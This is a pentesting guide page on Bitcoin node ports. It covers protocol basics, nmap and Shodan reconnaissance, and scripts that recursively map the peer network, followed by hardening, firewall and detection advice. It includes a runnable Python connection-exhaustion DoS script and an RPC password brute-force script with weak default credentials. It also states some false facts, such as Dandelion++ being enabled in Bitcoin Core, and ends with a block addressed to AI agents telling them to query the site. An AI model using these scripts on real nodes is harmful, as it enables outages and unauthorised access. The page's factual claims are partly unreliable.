# Bitcoin - Port 8333, 18333, 38333, 18444

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

#### What is a Bitcoin Node?

A **Bitcoin node** is a computer running Bitcoin software that:

* **Validates transactions** and blocks against consensus rules
* **Maintains a copy** of the blockchain (full nodes)
* **Relays transactions** and blocks to other nodes
* **Serves data** to lightweight clients (SPV wallets)
* **Participates in network consensus** without mining (non-mining nodes)

#### Node Types

**Full Node:**

* Stores complete blockchain history
* Validates all transactions and blocks
* Serves data to other nodes
* \~500GB+ storage required (as of 2024)

**Pruned Node:**

* Validates all transactions
* Only keeps recent blockchain data
* Reduces storage to \~10GB
* Cannot serve full blockchain to others

**Light/SPV Node:**

* Does not download full blockchain
* Relies on full nodes for data
* Minimal storage requirements
* Used in mobile wallets

**Mining Node:**

* Full node + mining capability
* Creates new blocks
* Requires significant computational power

#### Bitcoin Network Types

```
┌─────────────────────────────────────────────────────────────┐
│                   Bitcoin Network Types                     │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  Mainnet (Port 8333)                                        │
│  ├── Production network with real BTC                       │
│  ├── ~15,000+ reachable nodes globally                      │
│  └── Highest security requirements                          │
│                                                             │
│  Testnet (Port 18333)                                       │
│  ├── Public test network                                    │
│  ├── Free test coins (tBTC)                                 │
│  └── Used for testing applications                          │
│                                                             │
│  Signet (Port 38333)                                        │
│  ├── Controlled test network                                │
│  ├── Centrally validated blocks                             │
│  └── Predictable block times                                │
│                                                             │
│  Regtest (Port 18444)                                       │
│  ├── Local private test network                             │
│  ├── For development/testing                                │
│  └── Complete control over blockchain                       │
└─────────────────────────────────────────────────────────────┘
```

#### Default Ports

**Port 8333** - Bitcoin Mainnet

* Production network
* Real Bitcoin transactions
* Peer-to-peer communication

**Port 18333** - Bitcoin Testnet

* Public test network
* Test coins with no value
* Mirrors mainnet functionality

**Port 38333** - Bitcoin Signet

* Newer test network
* Signed blocks (centralized validation)
* More reliable than testnet

**Port 18444** - Bitcoin Regtest

* Local regression test network
* Private development environment
* Instant block generation

**Port 8332** - Bitcoin RPC (JSON-RPC API)

* Not covered in this guide but important
* Requires authentication
* Administrative interface

```
PORT      STATE SERVICE
8333/tcp  open  bitcoin-mainnet
18333/tcp open  bitcoin-testnet
38333/tcp open  bitcoin-signet
18444/tcp open  bitcoin-regtest
```

## Bitcoin Protocol Overview

#### Protocol Basics

**Bitcoin P2P Protocol:**

* Binary protocol over TCP
* No encryption by default (plaintext)
* Message-based communication
* Peer discovery via DNS seeds and addr messages

**Message Structure:**

```
┌────────────────────────────────────────┐
│  Magic Bytes (4 bytes)                 │  Network identifier
├────────────────────────────────────────┤
│  Command (12 bytes)                    │  Message type
├────────────────────────────────────────┤
│  Payload Size (4 bytes)                │  Length of payload
├────────────────────────────────────────┤
│  Checksum (4 bytes)                    │  First 4 bytes of SHA256(SHA256(payload))
├────────────────────────────────────────┤
│  Payload (variable)                    │  Actual message data
└────────────────────────────────────────┘
```

**Magic Bytes by Network:**

```
Mainnet:  0xF9BEB4D9
Testnet:  0x0B110907
Signet:   0x0A03CF40
Regtest:  0xFABFB5DA
```

#### Common Protocol Messages

**version:**

* Sent during handshake
* Contains node information
* Protocol version, services, timestamp, user agent

**verack:**

* Acknowledges version message
* Completes handshake

**addr:**

* Shares peer addresses
* Helps with peer discovery
* Contains IP:Port pairs

**inv (inventory):**

* Announces new transactions/blocks
* Type + hash

**getdata:**

* Requests full transaction/block data
* Response to inv

**getblocks:**

* Requests block inventory
* Used for synchronization

**ping/pong:**

* Keep-alive mechanism
* Latency measurement

**getaddr:**

* Requests peer addresses
* For network topology mapping

## Reconnaissance & Enumeration

### Port Scanning

**Basic Nmap Scan**

```bash
# Scan Bitcoin mainnet port
nmap -p 8333 -sV <target-ip>

# Scan all Bitcoin ports
nmap -p 8333,18333,38333,18444 -sV <target-ip>

# Detailed scan with scripts
nmap -p 8333,18333,38333,18444 -sV -sC <target-ip>

# Scan subnet for Bitcoin nodes
nmap -p 8333 -sV <target-subnet>/24 -oA bitcoin-scan

# Service and OS detection
nmap -p 8333 -A <target-ip>
```

**Sample Output:**

```
PORT      STATE SERVICE VERSION
8333/tcp  open  bitcoin Bitcoin node (protocol v70016)
| bitcoin-info:
|   Timestamp: 2024-01-15T10:30:45
|   Network: main
|   Version: 0.21.0
|   Node Id: 3a7f9c2e4b8d1f3a
|   Lastblock: 825403
|_  User Agent: /Satoshi:25.0/
18333/tcp open  bitcoin Bitcoin node (testnet)
```

### Bitcoin-Specific Nmap Scripts

**bitcoin-info Script**

```bash
# Get node information
sudo nmap -p 8333 --script bitcoin-info <target-ip>

# Output includes:
# - Timestamp
# - Network type (main/test)
# - Software version
# - Node ID
# - Last block height
# - User agent string
```

**Sample Output:**

```
| bitcoin-info:
|   Timestamp: 2024-01-15T10:30:45
|   Network: main
|   Version: 0.21.0
|   Node Id: 3a7f9c2e4b8d1f3a
|   Lastblock: 825403
|_  User Agent: /Satoshi:25.0/
```

**bitcoin-getaddr Script**

```bash
# Get known peer addresses
sudo nmap -p 8333 --script bitcoin-getaddr <target-ip>

# Shows:
# - IP addresses of known peers
# - Timestamps (when node last saw them)
# - Network topology information
```

**Sample Output:**

```
| bitcoin-getaddr:
|   ip                                            timestamp
|   2a02:c7e:486a:2b00:3d26:db39:537f:59f2:8333   2024-01-14T07:30:45
|   2600:1f1c:2d3:2403:7b7d:c11c:ca61:f6e2:8333   2024-01-15T07:16:38
|   75.128.4.27:8333                              2024-01-13T08:10:45
|   195.201.42.102:8333                           2024-01-15T09:22:11
|   54.36.174.181:8333                            2024-01-14T14:55:33
```

**Combined Scan:**

```bash
# Get all information
sudo nmap -p 8333 --script bitcoin-info,bitcoin-getaddr <target-ip> -oN bitcoin_recon.txt

# Scan multiple nodes
sudo nmap -p 8333 --script bitcoin-info,bitcoin-getaddr -iL bitcoin_nodes.txt
```

#### Manual Protocol Interaction

**Using Netcat (Binary Protocol Challenge)**

```bash
# Connect to node
nc <target-ip> 8333

# Note: Bitcoin uses binary protocol
# Manual interaction is difficult without proper encoding
```

**Using Python for Protocol Interaction**

```python
#!/usr/bin/env python3
import socket
import struct
import time
import hashlib

def create_message(magic, command, payload):
    """Create a Bitcoin protocol message"""
    # Command must be 12 bytes (padded with zeros)
    command = command.encode('ascii')
    command = command + b'\x00' * (12 - len(command))
    
    # Calculate checksum
    checksum = hashlib.sha256(hashlib.sha256(payload).digest()).digest()[:4]
    
    # Build message
    message = struct.pack('<I', magic)  # Magic bytes
    message += command                   # Command
    message += struct.pack('<I', len(payload))  # Payload length
    message += checksum                  # Checksum
    message += payload                   # Payload
    
    return message

def create_version_message():
    """Create version message for handshake"""
    version = 70015  # Protocol version
    services = 1     # NODE_NETWORK
    timestamp = int(time.time())
    
    payload = struct.pack('<i', version)
    payload += struct.pack('<Q', services)
    payload += struct.pack('<q', timestamp)
    # ... (simplified, full version message is more complex)
    
    return payload

# Example usage
def connect_to_node(host, port=8333):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    
    # Send version message
    magic = 0xD9B4BEF9  # Mainnet magic
    version_payload = create_version_message()
    version_msg = create_message(magic, 'version', version_payload)
    
    sock.send(version_msg)
    
    # Receive response
    response = sock.recv(4096)
    print(f"Received {len(response)} bytes")
    
    sock.close()

# Usage
# connect_to_node('target-ip')
```

#### Shodan Queries

Find exposed Bitcoin nodes:

```
port:8333 bitcoin
port:8333 "Satoshi"
"User-Agent: /Satoshi"
bitcoin protocol
product:"Bitcoin"
port:18333 testnet
```

**Advanced Shodan Queries:**

```
# Find specific Bitcoin Core versions
port:8333 "Satoshi:0.21"

# Find nodes with specific services
port:8333 bitcoin services

# IPv6 Bitcoin nodes
port:8333 bitcoin ipv6

# Testnet nodes
port:18333

# Find Bitcoin nodes in specific country
port:8333 bitcoin country:US
```

## Information Gathering

### Node Fingerprinting

**Extract User Agent:**

```bash
# User agent reveals:
# - Client software (Bitcoin Core, btcd, etc.)
# - Version number
# - Sometimes custom identifiers

# Common user agents:
# /Satoshi:25.0/         (Bitcoin Core 25.0)
# /btcd:0.23.0/          (btcd implementation)
# /bcoin:2.2.0/          (bcoin implementation)
# /Bitcoin ABC:0.26.0/   (Bitcoin ABC - BCH)
```

**Identify Node Type:**

```bash
# Full node indicators:
# - Responds to getdata requests
# - High peer count
# - Serves historical blocks

# Pruned node indicators:
# - Limited block serving capability
# - Recent blocks only

# SPV node indicators:
# - Connects to few peers
# - Requests merkle blocks
# - Minimal storage
```

### Network Topology Mapping

**Peer Discovery:**

```bash
# Use getaddr to build network map
sudo nmap -p 8333 --script bitcoin-getaddr <seed-node> -oX peers1.xml

# Extract IPs from results
cat peers1.xml | grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+' > peer_list.txt

# Recursively scan discovered peers
for ip in $(cat peer_list.txt | cut -d: -f1); do
    sudo nmap -p 8333 --script bitcoin-getaddr $ip -oX peers_$ip.xml
done
```

**Visualize Network:**

```python
#!/usr/bin/env python3
"""
Create network topology graph from Bitcoin node data
"""
import networkx as nx
import matplotlib.pyplot as plt

def parse_nmap_results(filename):
    """Parse nmap XML output to extract peer relationships"""
    # Simplified - would need XML parsing in real implementation
    peers = {}
    # Parse XML and build peer dictionary
    return peers

def create_topology_graph(peers):
    G = nx.Graph()
    
    for node, connections in peers.items():
        for peer in connections:
            G.add_edge(node, peer)
    
    # Draw graph
    pos = nx.spring_layout(G)
    nx.draw(G, pos, with_labels=True, node_color='lightblue', 
            node_size=500, font_size=8)
    plt.savefig('bitcoin_topology.png')
    plt.show()

# Usage:
# peers = parse_nmap_results('bitcoin_scan.xml')
# create_topology_graph(peers)
```

#### Blockchain Analysis

**Query Node Blockchain Info:**

```bash
# If RPC is accessible (usually port 8332)
# Note: Requires authentication

# Get blockchain info
bitcoin-cli -rpcconnect=<target-ip> getblockchaininfo

# Get peer info
bitcoin-cli -rpcconnect=<target-ip> getpeerinfo

# Get network info
bitcoin-cli -rpcconnect=<target-ip> getnetworkinfo

# Get block count
bitcoin-cli -rpcconnect=<target-ip> getblockcount
```

**Without RPC Access:**

Information limited to what P2P protocol reveals:

* Last block height (from version message)
* Protocol version
* Services advertised
* Peer addresses

## Attack Vectors

#### 1. Information Disclosure

**Version Disclosure:**

```bash
# Version message reveals:
# - Protocol version
# - Software version (via user agent)
# - Supported services
# - Current block height
# - Peer count

# Risk: Helps identify vulnerable versions
```

**Peer Address Disclosure:**

```bash
# Getaddr reveals:
# - Known peer IP addresses
# - Network topology
# - IPv6 addresses
# - Timestamps

# Risk: Network mapping, targeted attacks
```

**Block Height Disclosure:**

```bash
# Reveals:
# - Synchronization status
# - Node uptime estimate
# - Network participation level

# Risk: Identifies outdated nodes
```

#### 2. Denial of Service (DoS)

**Connection Exhaustion:**

```python
#!/usr/bin/env python3
"""
DoS via connection exhaustion
Opens multiple connections to exhaust node's peer slots
"""
import socket
import threading

def connect_to_node(host, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((host, port))
        # Keep connection open
        while True:
            pass
    except:
        pass

# Open many connections
target_host = "target-ip"
target_port = 8333
max_connections = 125  # Bitcoin Core default max is 125

for i in range(max_connections):
    thread = threading.Thread(target=connect_to_node, 
                            args=(target_host, target_port))
    thread.daemon = True
    thread.start()

# Legitimate peers cannot connect
```

**Resource Exhaustion - Memory:**

```python
#!/usr/bin/env python3
"""
Send many large messages to exhaust node memory
"""
# Send many 'inv' (inventory) messages
# Each inv can contain many transaction hashes
# Node stores pending inventories in memory

# Note: Modern Bitcoin Core has protections
```

**Resource Exhaustion - Disk:**

```python
#!/usr/bin/env python3
"""
Spam node with transactions to fill mempool
"""
# Send many unconfirmed transactions
# Fills mempool (memory pool of pending transactions)
# Can cause performance degradation

# Note: Transaction fees and mempool limits provide protection
```

**Protocol-Level DoS:**

```python
#!/usr/bin/env python3
"""
Send malformed messages to trigger crashes
"""
# Fuzz testing approach
# Send invalid protocol messages
# Look for crashes or hangs

# Historic example: CVE-2012-2459 (block validation DoS)
```

#### 3. Eclipse Attack

**Concept:** Isolate a node from the honest network

**Attack Steps:**

```
1. Attacker controls multiple IP addresses
2. Fill victim's peer list with attacker nodes
3. Victim connects only to attacker nodes
4. Attacker controls victim's view of blockchain
```

**Implementation Difficulty:**

* Requires many IP addresses
* Bitcoin Core has eclipse attack mitigations
* Needs sustained effort over time

**Mitigation in Bitcoin Core:**

* Diverse peer selection
* Anchor connections
* Address manager diversity
* Feeler connections

#### 4. Transaction/Block Relay Manipulation

**Selfish Mining:**

* Withhold mined blocks
* Release strategically
* Gain unfair mining advantage

**Transaction Censorship:**

* If controlling peer connections
* Can filter specific transactions
* Prevents victim from seeing them

**Double-Spend Relay:**

* Send conflicting transactions
* One to victim, one to network
* Exploits zero-confirmation acceptance

#### 5. Privacy Attacks

**Address Clustering:**

```python
#!/usr/bin/env python3
"""
Link transactions to IP addresses
By monitoring which node first relays a transaction,
can sometimes infer sender's IP
"""
# Connect to many nodes
# Log first relay of each transaction
# Correlate with transaction patterns
```

**Transaction Origin Tracking:**

```bash
# Monitor network to identify transaction origin
# First node to broadcast likely created it
# Can link IP to Bitcoin addresses

# Mitigation: Use Tor for Bitcoin connections
```

**Network Topology Mapping:**

```bash
# Build complete network map
# Identify critical nodes
# Plan targeted attacks

# Use getaddr recursively
# Build graph of connections
```

## Known Vulnerabilities & CVEs

#### Historical Vulnerabilities

**CVE-2012-2459 - Block Validation DoS**

* Affected: Bitcoin Core < 0.6.1
* Impact: Remote DoS via crafted blocks
* Fixed: Block validation improvements

**CVE-2013-2292 - Remote Crash**

* Affected: Bitcoin Core < 0.8.1
* Impact: Malformed messages crash node
* Fixed: Input validation

**CVE-2013-2293 - Resource Exhaustion**

* Affected: Bitcoin Core < 0.8.1
* Impact: Memory exhaustion via orphan transactions
* Fixed: Orphan transaction limits

**CVE-2015-3641 - DoS via Memory Exhaustion**

* Affected: Bitcoin Core < 0.10.1
* Impact: Remote DoS
* Fixed: Memory management improvements

**CVE-2017-18350 - Buffer Overflow**

* Affected: Bitcoin Core < 0.15.1
* Impact: Remote code execution potential
* Fixed: Buffer handling fixes

**CVE-2018-17144 - Inflation Vulnerability**

* Affected: Bitcoin Core 0.14.x - 0.16.2
* Impact: Could create Bitcoin out of thin air
* Severity: Critical (never exploited on mainnet)
* Fixed: Version 0.16.3

**CVE-2021-31876 - DoS via Malformed Messages**

* Affected: Various implementations
* Impact: Node crashes
* Fixed: Message validation

#### Modern Attack Surface

**Current Concerns (2024):**

1. **Eclipse Attacks** - Still theoretical threat
2. **Privacy Issues** - IP address linkage
3. **Resource Exhaustion** - Always a concern
4. **Zero-day vulnerabilities** - Unknown bugs
5. **Implementation bugs** - Non-Core clients

**Best Practices:**

* Keep Bitcoin Core updated
* Use latest stable release
* Monitor security announcements
* Consider using Tor for privacy

## Bitcoin RPC Security (Port 8332)

#### RPC Interface Overview

**Note:** RPC is not covered by P2P ports but is critical

**Default Configuration:**

```
Port: 8332 (mainnet)
Port: 18332 (testnet)
Port: 38332 (signet)
Port: 18443 (regtest)
Protocol: JSON-RPC over HTTP
Authentication: Username/password or cookie file
```

### RPC Enumeration

**Check if RPC is Accessible:**

```bash
# Try connecting to RPC port
curl http://<target-ip>:8332

# Response if accessible:
# HTTP 401 Unauthorized (requires auth)
# or connection refused if not exposed

# Try with credentials
curl --user username:password \
  --data-binary '{"jsonrpc":"1.0","id":"test","method":"getblockchaininfo","params":[]}' \
  -H 'content-type: text/plain;' \
  http://<target-ip>:8332
```

**Default Credentials (Very Rare):**

```
# Bitcoin Core doesn't have default credentials
# But check for common weak passwords:

bitcoin:bitcoin
admin:admin
rpcuser:rpcpassword
```

**Brute Force RPC:**

```python
#!/usr/bin/env python3
import requests
import sys

def brute_force_rpc(host, port, username, password_file):
    url = f"http://{host}:{port}"
    data = '{"jsonrpc":"1.0","id":"test","method":"getblockchaininfo","params":[]}'
    headers = {'content-type': 'text/plain'}
    
    with open(password_file, 'r') as f:
        for password in f:
            password = password.strip()
            
            try:
                r = requests.post(url, 
                    auth=(username, password),
                    data=data,
                    headers=headers,
                    timeout=5)
                
                if r.status_code == 200:
                    print(f"[+] SUCCESS: {username}:{password}")
                    return password
                else:
                    print(f"[-] Failed: {username}:{password}")
            except Exception as e:
                print(f"[!] Error: {e}")
                
    return None

# Usage:
# brute_force_rpc('target-ip', 8332, 'bitcoin', 'passwords.txt')
```

## Defense & Hardening

#### Node Configuration Security

**bitcoin.conf Security Settings:**

```ini
# Network binding
# Only bind to localhost if no remote access needed
bind=127.0.0.1

# Whitelist only trusted peers (optional)
whitelist=192.168.1.0/24

# Limit connections
maxconnections=40

# Disable wallet (if not needed)
disablewallet=1

# Enable Tor for privacy
proxy=127.0.0.1:9050
listen=1
externalip=your_onion_address.onion

# RPC security
rpcallowip=127.0.0.1
rpcauth=user:salt$hash
# Generate with: python3 share/rpcauth/rpcauth.py username

# Disable ZMQ if not needed
# zmqpubrawblock=tcp://127.0.0.1:28332
# zmqpubrawtx=tcp://127.0.0.1:28333
```

**Generate Secure RPC Credentials:**

```bash
# Use Bitcoin Core's rpcauth.py
cd /path/to/bitcoin/share/rpcauth/
python3 rpcauth.py myusername

# Output:
# String to be appended to bitcoin.conf:
# rpcauth=myusername:hash$salt
# Your password:
# random_generated_password

# Add to bitcoin.conf
echo "rpcauth=myusername:hash$salt" >> ~/.bitcoin/bitcoin.conf
```

#### Network-Level Protection

**Firewall Rules:**

```bash
# UFW - Block all Bitcoin ports by default
sudo ufw deny 8332/tcp    # RPC
sudo ufw deny 8333/tcp    # P2P mainnet
sudo ufw deny 18333/tcp   # P2P testnet
sudo ufw deny 18332/tcp   # RPC testnet

# Only allow from trusted IPs
sudo ufw allow from 192.168.1.0/24 to any port 8333

# iptables
sudo iptables -A INPUT -p tcp --dport 8333 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 8333 -j DROP
sudo iptables -A INPUT -p tcp --dport 8332 -j DROP

# Save rules
sudo iptables-save > /etc/iptables/rules.v4
```

**Rate Limiting:**

```bash
# Limit connection rate
sudo iptables -A INPUT -p tcp --dport 8333 -m state --state NEW -m recent --set
sudo iptables -A INPUT -p tcp --dport 8333 -m state --state NEW -m recent --update --seconds 60 --hitcount 10 -j DROP
```

#### Privacy & Anonymity

**Using Tor:**

```ini
# bitcoin.conf
proxy=127.0.0.1:9050
listen=1
bind=127.0.0.1
onlynet=onion

# Only connect via Tor
# All peer connections anonymized
```

**Using VPN:**

```bash
# Run Bitcoin node behind VPN
# Configure VPN connection first
# Then start Bitcoin Core

# Verify external IP
curl ifconfig.me

# Should show VPN IP, not your real IP
```

**Dandelion++ Protocol:**

```ini
# Helps obscure transaction origin
# Implemented in Bitcoin Core 23.0+
# Enabled by default
```

## Monitoring & Detection

**Monitor Connections:**

```bash
# Check current peer connections
bitcoin-cli getpeerinfo | jq .

# Monitor connection attempts
sudo tcpdump -i eth0 port 8333 -nn

# Check for unusual peer behavior
watch -n 5 'bitcoin-cli getpeerinfo | jq ".[].addr"'
```

**Log Analysis:**

```bash
# Monitor Bitcoin Core debug log
tail -f ~/.bitcoin/debug.log

# Look for:
# - Connection failures
# - Peer misbehavior
# - Invalid blocks/transactions
# - Resource warnings

# Search for suspicious activity
grep -i "misbehaving" ~/.bitcoin/debug.log
grep -i "banned" ~/.bitcoin/debug.log
grep -i "invalid" ~/.bitcoin/debug.log
```

**Intrusion Detection:**

```bash
# Snort rule for Bitcoin port scan
alert tcp any any -> any 8333 (flags:S; msg:"Bitcoin port scan"; sid:1000001;)

# Alert on unusual connection volume
alert tcp any any -> any 8333 (threshold: type both, track by_src, count 20, seconds 60; msg:"Bitcoin connection flood"; sid:1000002;)
```

#### Regular Security Practices

```bash
# Keep Bitcoin Core updated
bitcoin-cli --version

# Check for updates
# Download from: bitcoin.org

# Verify GPG signatures
wget https://bitcoincore.org/bin/bitcoin-core-25.0/bitcoin-25.0-x86_64-linux-gnu.tar.gz
wget https://bitcoincore.org/bin/bitcoin-core-25.0/SHA256SUMS
wget https://bitcoincore.org/bin/bitcoin-core-25.0/SHA256SUMS.asc

# Verify
gpg --verify SHA256SUMS.asc
sha256sum --check SHA256SUMS --ignore-missing

# Backup wallet (if used)
bitcoin-cli backupwallet /secure/backup/location/wallet.dat

# Encrypt wallet
bitcoin-cli encryptwallet "strong_passphrase"

# Regular security audits
bitcoin-cli getnetworkinfo
bitcoin-cli getpeerinfo
bitcoin-cli getnettotals
```

## Tools & Scripts

#### Essential Tools

1. **Bitcoin Core** - Official full node implementation
2. **nmap** - Port scanning with Bitcoin scripts
3. **bitcoin-cli** - Command-line interface
4. **Wireshark** - Protocol analysis
5. **btcd** - Alternative Go implementation

#### Custom Enumeration Script

```python
#!/usr/bin/env python3
"""
Bitcoin Node Enumeration Tool
"""
import socket
import struct
import hashlib
import time

class BitcoinNode:
    def __init__(self, host, port=8333, network='mainnet'):
        self.host = host
        self.port = port
        self.network = network
        self.sock = None
        
        # Magic bytes for different networks
        self.magic_bytes = {
            'mainnet': 0xD9B4BEF9,
            'testnet': 0x0B110907,
            'signet': 0x0A03CF40,
            'regtest': 0xFABFB5DA
        }
    
    def create_message(self, command, payload):
        """Create Bitcoin protocol message"""
        magic = self.magic_bytes[self.network]
        
        # Command must be 12 bytes
        cmd = command.encode('ascii')
        cmd = cmd + b'\x00' * (12 - len(cmd))
        
        # Checksum
        checksum = hashlib.sha256(hashlib.sha256(payload).digest()).digest()[:4]
        
        # Build message
        message = struct.pack('<I', magic)
        message += cmd
        message += struct.pack('<I', len(payload))
        message += checksum
        message += payload
        
        return message
    
    def create_version_message(self):
        """Create version handshake message"""
        version = 70015
        services = 1
        timestamp = int(time.time())
        
        payload = struct.pack('<i', version)
        payload += struct.pack('<Q', services)
        payload += struct.pack('<q', timestamp)
        
        # Simplified - full version message is more complex
        # Would need to add recv/from addresses, nonce, user agent, etc.
        
        return payload
    
    def connect(self):
        """Connect to Bitcoin node"""
        try:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.settimeout(10)
            self.sock.connect((self.host, self.port))
            print(f"[+] Connected to {self.host}:{self.port}")
            return True
        except Exception as e:
            print(f"[-] Connection failed: {e}")
            return False
    
    def send_version(self):
        """Send version message"""
        try:
            version_payload = self.create_version_message()
            version_msg = self.create_message('version', version_payload)
            self.sock.send(version_msg)
            print("[*] Sent version message")
            
            # Receive response
            response = self.sock.recv(4096)
            print(f"[+] Received {len(response)} bytes")
            
            return True
        except Exception as e:
            print(f"[-] Error: {e}")
            return False
    
    def close(self):
        """Close connection"""
        if self.sock:
            self.sock.close()

# Usage
if __name__ == "__main__":
    import sys
    
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <host> [port] [network]")
        sys.exit(1)
    
    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8333
    network = sys.argv[3] if len(sys.argv) > 3 else 'mainnet'
    
    node = BitcoinNode(host, port, network)
    if node.connect():
        node.send_version()
        node.close()
```

#### Network Mapper Script

```bash
#!/bin/bash
# Bitcoin Network Mapping Script

TARGET=$1
OUTPUT_DIR="bitcoin_network_map"

if [ -z "$TARGET" ]; then
    echo "Usage: $0 <seed-node-ip>"
    exit 1
fi

mkdir -p $OUTPUT_DIR

echo "[*] Starting network mapping from seed: $TARGET"

# First level scan
echo "[*] Scanning seed node..."
sudo nmap -p 8333 --script bitcoin-info,bitcoin-getaddr $TARGET -oN $OUTPUT_DIR/seed_scan.txt

# Extract peer IPs
echo "[*] Extracting peer addresses..."
grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+' $OUTPUT_DIR/seed_scan.txt | \
    cut -d: -f1 | sort -u > $OUTPUT_DIR/peers_level1.txt

PEER_COUNT=$(wc -l < $OUTPUT_DIR/peers_level1.txt)
echo "[+] Found $PEER_COUNT peers"

# Scan discovered peers
echo "[*] Scanning discovered peers..."
counter=1
while read peer; do
    echo "    [$counter/$PEER_COUNT] Scanning $peer"
    sudo nmap -p 8333 --script bitcoin-info $peer -oN $OUTPUT_DIR/peer_${peer}.txt 2>/dev/null
    ((counter++))
done < $OUTPUT_DIR/peers_level1.txt

echo "[+] Network mapping complete!"
echo "[+] Results saved in $OUTPUT_DIR/"
```

## Cheat Sheet

#### Quick Reference

```bash
# PORT SCANNING
nmap -p 8333 -sV <target>
nmap -p 8333,18333,38333,18444 -sV <target>

# BITCOIN INFO
sudo nmap -p 8333 --script bitcoin-info <target>

# GET PEER ADDRESSES
sudo nmap -p 8333 --script bitcoin-getaddr <target>

# COMBINED ENUMERATION
sudo nmap -p 8333 --script bitcoin-info,bitcoin-getaddr <target>

# RPC ACCESS (if enabled)
curl --user user:pass --data-binary '{"jsonrpc":"1.0","id":"test","method":"getblockchaininfo","params":[]}' -H 'content-type: text/plain;' http://<target>:8332

# USING BITCOIN-CLI
bitcoin-cli -rpcconnect=<target> getblockchaininfo
bitcoin-cli -rpcconnect=<target> getpeerinfo
bitcoin-cli -rpcconnect=<target> getnetworkinfo
```

#### Important Ports

```
8333   - Bitcoin Mainnet P2P
18333  - Bitcoin Testnet P2P
38333  - Bitcoin Signet P2P
18444  - Bitcoin Regtest P2P
8332   - Bitcoin Mainnet RPC
18332  - Bitcoin Testnet RPC
```

#### Common User Agents

```
/Satoshi:25.0/           - Bitcoin Core 25.0
/Satoshi:24.0/           - Bitcoin Core 24.0
/btcd:0.24.0/            - btcd
/Bitcoin Knots:25.0/     - Bitcoin Knots
/bcoin:2.2.0/            - bcoin
```

#### Protocol Magic Bytes

```
Mainnet:  0xF9BEB4D9
Testnet:  0x0B110907
Signet:   0x0A03CF40
Regtest:  0xFABFB5DA
```

### Additional Resources

* [Bitcoin Developer Documentation](https://developer.bitcoin.org/)
* [Bitcoin Core GitHub](https://github.com/bitcoin/bitcoin)
* [Bitcoin Protocol Specification](https://en.bitcoin.it/wiki/Protocol_documentation)
* [Bitcoin Security Best Practices](https://bitcoin.org/en/secure-your-wallet)
* [HackTricks Bitcoin](https://book.hacktricks.wiki/en/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.html)
* [Bitcoin Improvement Proposals (BIPs)](https://github.com/bitcoin/bips)

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.verylazytech.com/bitcoin-port-8333-18333-38333-18444.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
